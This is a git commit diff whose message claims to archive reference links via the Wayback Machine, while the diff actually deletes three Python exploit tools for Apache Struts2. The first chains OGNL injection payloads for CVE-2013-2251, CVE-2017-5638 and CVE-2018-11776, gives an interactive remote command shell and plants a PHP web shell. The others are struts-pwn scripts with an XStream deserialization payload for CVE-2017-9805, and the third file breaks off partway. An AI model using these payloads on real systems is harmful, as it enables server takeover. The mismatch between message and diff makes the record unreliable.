Archive external reference links via Wayback Machine
Replace direct URLs in Markdown references with their web.archive.org equivalents to prevent link rot.
This commit is contained in:
@@ -1,215 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import input
|
||||
from builtins import str
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
import subprocess
|
||||
import requests
|
||||
import readline
|
||||
import urllib.parse
|
||||
|
||||
RED = '\033[1;31m'
|
||||
BLUE = '\033[94m'
|
||||
BOLD = '\033[1m'
|
||||
GREEN = '\033[32m'
|
||||
OTRO = '\033[36m'
|
||||
YELLOW = '\033[33m'
|
||||
ENDC = '\033[0m'
|
||||
|
||||
def cls():
|
||||
os.system(['clear', 'cls'][os.name == 'nt'])
|
||||
cls()
|
||||
|
||||
logo = BLUE+'''
|
||||
___ _____ ___ _ _ _____ ___
|
||||
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
|
||||
| (_(_) | | | (_) )| | | | | | | (_(_)
|
||||
`\__ \ | | | , / | | | | | | `\__ \
|
||||
( )_) | | | | |\ \ | (_) | | | ( )_) |
|
||||
`\____) (_) (_) (_)(_____) (_) `\____)
|
||||
|
||||
=[ Command Execution v3]=
|
||||
By @s1kr10s
|
||||
'''+ENDC
|
||||
print(logo)
|
||||
|
||||
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
|
||||
host = input(BOLD+" [+] HOST: "+ENDC)
|
||||
|
||||
if len(host) > 0:
|
||||
if host.find("https://") != -1 or host.find("http://") != -1:
|
||||
|
||||
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
|
||||
|
||||
def exploit(comando):
|
||||
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploit
|
||||
|
||||
def exploit2(comando):
|
||||
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
|
||||
return exploit2
|
||||
|
||||
def exploit3(comando):
|
||||
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
|
||||
return exploit3
|
||||
|
||||
def pwnd(shellfile):
|
||||
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploitfile
|
||||
|
||||
def validador():
|
||||
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
|
||||
return arr_lin_win
|
||||
|
||||
#def reversepl(ip,port):
|
||||
# print "perl"
|
||||
|
||||
#def reversepy(ip,port):
|
||||
# print "python"
|
||||
|
||||
# CVE-2013-2251 ---------------------------------------------------------------------------------
|
||||
try:
|
||||
response = ''
|
||||
response = urllib.request.urlopen(host+poc)
|
||||
except:
|
||||
print(RED+" Servidor no responde\n"+ENDC)
|
||||
exit(0)
|
||||
|
||||
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
|
||||
|
||||
if response.read().find("mamalo") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
#print BOLD+" * [SHELL REVERSA]"+ENDC
|
||||
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||
|
||||
while 1:
|
||||
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "','".join(espacio)
|
||||
|
||||
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
|
||||
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
|
||||
print("\n"+shell.read())
|
||||
elif espacio[0] == 'pwnd':
|
||||
pathsave=input("path EJ:/tmp/: ")
|
||||
|
||||
if espacio[1] == 'php':
|
||||
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
|
||||
urllib.request.urlopen(host+pwnd(str(shellfile)))
|
||||
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
||||
if shell.read().find(pathsave+"status.php") != -1:
|
||||
print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
|
||||
else:
|
||||
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
|
||||
|
||||
# CVE-2017-5638 ---------------------------------------------------------------------------------
|
||||
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
valida = validador()[x]
|
||||
|
||||
try:
|
||||
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
|
||||
result = urllib.request.urlopen(req).read()
|
||||
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
|
||||
while 1:
|
||||
try:
|
||||
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
|
||||
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
|
||||
result = urllib.request.urlopen(req).read()
|
||||
print("\n"+result)
|
||||
except:
|
||||
exit(0)
|
||||
else:
|
||||
x = len(validador())
|
||||
else:
|
||||
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
|
||||
# CVE-2018-11776 ---------------------------------------------------------------------------------
|
||||
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
#Filtramos la url solo dominio
|
||||
url = host.replace('#', '%23')
|
||||
url = host.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urllib.parse.urlparse(url).scheme
|
||||
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||
|
||||
#Filtramos la url solo path
|
||||
file_path = urllib.parse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
valida = validador()[x]
|
||||
try:
|
||||
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
|
||||
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||
|
||||
while 1:
|
||||
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "%20".join(espacio)
|
||||
|
||||
shell = urllib.request.urlopen(host+exploit3(str(comando)))
|
||||
print("\n"+shell.read())
|
||||
|
||||
else:
|
||||
x = len(validador())
|
||||
exit(0)
|
||||
else:
|
||||
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
else:
|
||||
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
|
||||
exit(0)
|
||||
else:
|
||||
print(RED+" Debe Ingresar una Url\n"+ENDC)
|
||||
exit(0)
|
||||
@@ -1,326 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code is based on:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/8924
|
||||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
||||
# *****************************************************
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
|
||||
action='store',
|
||||
default='echo test > /tmp/struts-pwn')
|
||||
parser.add_argument("--exploit",
|
||||
dest="do_exploit",
|
||||
help="Exploit.",
|
||||
action='store_true')
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
url = args.url if args.url else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_exploit = args.do_exploit if args.do_exploit else None
|
||||
|
||||
|
||||
def url_prepare(url):
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str('http') + str('://') + str(url)
|
||||
return(url)
|
||||
|
||||
|
||||
def exploit(url, cmd, dont_print_status_on_console=False):
|
||||
url = url_prepare(url)
|
||||
if dont_print_status_on_console is False:
|
||||
print('\n[*] URL: %s' % (url))
|
||||
print('[*] CMD: %s' % (cmd))
|
||||
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
|
||||
|
||||
payload = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
{0}
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
""".format(cmd)
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
output = 'ERROR'
|
||||
return(output)
|
||||
|
||||
|
||||
def check(url):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
|
||||
initial_request = exploit(url, "", dont_print_status_on_console=True)
|
||||
if initial_request == "ERROR":
|
||||
result = False
|
||||
print("The host does not respond as expected.")
|
||||
return(result)
|
||||
|
||||
payload_sleep_based_10seconds = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
|
||||
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
<default>
|
||||
<__name>Pwnr</__name>
|
||||
<__bytecodes>
|
||||
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
|
||||
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
|
||||
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
|
||||
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
|
||||
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
|
||||
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
|
||||
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
|
||||
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
|
||||
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
|
||||
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
|
||||
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
|
||||
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
|
||||
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
|
||||
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
|
||||
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
|
||||
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
|
||||
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
|
||||
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
|
||||
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
|
||||
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
|
||||
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
|
||||
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
|
||||
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
|
||||
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
|
||||
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
|
||||
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
|
||||
</byte-array>
|
||||
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
|
||||
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
|
||||
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
|
||||
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
|
||||
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
|
||||
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
|
||||
AAoAAQACABYAEAAJ</byte-array>
|
||||
</__bytecodes>
|
||||
<__transletIndex>-1</__transletIndex>
|
||||
<__indentNumber>0</__indentNumber>
|
||||
</default>
|
||||
<boolean>false</boolean>
|
||||
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
|
||||
<name>newTransformer</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
"""
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 8
|
||||
try:
|
||||
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
# if the response returned before the request timeout.
|
||||
# then, the host should not be vulnerable.
|
||||
# The request should return > 10 seconds, while the timeout is 8.
|
||||
result = False
|
||||
except Exception:
|
||||
result = True
|
||||
return(result)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
|
||||
if url:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), 'r')
|
||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
||||
try:
|
||||
URLs_List.remove('')
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except Exception as e:
|
||||
print('Error: There was an error in reading list file.')
|
||||
print("Exception: " + str(e))
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
print('[%] Done.')
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
|
||||
except KeyboardInterrupt:
|
||||
print('\nKeyboardInterrupt Detected.')
|
||||
print('Exiting...')
|
||||
exit(0)
|
||||
@@ -1,231 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code uses a payload from:
|
||||
# https://github.com/jas502n/St2-057
|
||||
# *****************************************************
|
||||
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
from builtins import range
|
||||
import argparse
|
||||
import random
|
||||
import requests
|
||||
import sys
|
||||
try:
|
||||
from urllib import parse as urlparse
|
||||
except ImportError:
|
||||
import urllib.parse
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: 'id')",
|
||||
action='store',
|
||||
default='id')
|
||||
parser.add_argument("--exploit",
|
||||
dest="do_exploit",
|
||||
help="Exploit.",
|
||||
action='store_true')
|
||||
|
||||
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_exploit = args.do_exploit if args.do_exploit else None
|
||||
|
||||
headers = {
|
||||
